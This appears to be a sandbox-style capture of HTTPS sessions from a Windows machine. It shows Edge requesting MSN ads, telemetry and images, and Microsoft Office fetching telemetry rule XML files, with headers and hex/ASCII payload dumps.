Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49831	20.75.60.91	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0D5DEEC7B95C6AE11814FBFAB85B6BD9&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=5403250a5a8f46e181c4622b9efadc8f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1
2024-11-20 07:09:24 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:24 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-185f5d8b95cdtclvhC1NYC4rmc00000009z000000000etpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49827	52.138.229.66	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732086561807&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0D5DEEC7B95C6AE11814FBFAB85B6BD9; _EDGE_S=F=1&SID=00138218F82B6D62278E9725F9436C7D; _EDGE_V=1
2024-11-20 07:09:24 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 30 37 3a 30 39 3a 32 31 2e 38 30 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 64 39 35 38 37 31 31 2d 37 30 39 61 2d 34 65 39 65 2d 61 62 64 62 2d 33 30 39 61 30 39 62 32 31 37 32 66 22 2c 22 65 70 6f 63 68 22 3a 22 32 30 32 32 39 30 30 34 33 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T07:09:21.802Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"7d958711-709a-4e9e-abdb-309a09b2172f","epoch":"2022900430"},"app":{"locale
2024-11-20 07:09:25 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5ca81b8f0f3a45159b9a48273b25522d&HASH=5ca8&LV=202411&V=4&LU=1732086564988; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 07:09:24 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=05e995ad375c465c8f012e9532161c37; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 07:39:24 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3181 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-185f5d8b95csd4bwhC1NYCq7dc00000009xg000000000f93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070924Z-1777c6cb754j8gqphC1TEB5bf8000000094000000000dsp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:24 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49842	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:24 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 11:08:13 GMT X-Datacenter: northeu X-ActivityId: 01e23b13-0c41-4720-81b8-4b40bbbf8b50 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=359980 Expires: Sun, 24 Nov 2024 11:09:04 GMT Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close
2024-11-20 07:09:24 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 41 c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 Data Ascii: AV&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkV
2024-11-20 07:09:24 UTC	2148	IN	Data Raw: 39 c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a Data Ascii: 9M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-20 07:09:24 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49841	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:24 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=201279 Expires: Fri, 22 Nov 2024 15:04:03 GMT Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close
